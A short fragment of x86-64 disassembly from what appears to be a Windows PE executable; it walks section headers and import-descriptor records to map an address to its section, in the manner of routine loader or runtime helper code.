test ecx, ecx
je 0x140002708
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r10, [rdx + rcx*8 + 0x28]
nop dword [rax + rax]
mov r9d, dword [rdx + 0xc]
mov rcx, r9
cmp rax, r9
jb 0x1400026fc
add ecx, dword [rdx + 8]
cmp rax, rcx
jb 0x140002710
add rdx, 0x28
cmp rdx, r10
jne 0x1400026e8
xor r9d, r9d
mov rax, r9
add rsp, 0x28
ret
add rax, r11
jmp 0x140002720
sub r8d, 1
add rax, 0x14
mov ecx, dword [rax + 4]
test ecx, ecx
jne 0x14000272e
mov edx, dword [rax + 0xc]
test edx, edx
je 0x140002705
test r8d, r8d
jg 0x140002718
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
add rsp, 0x28
ret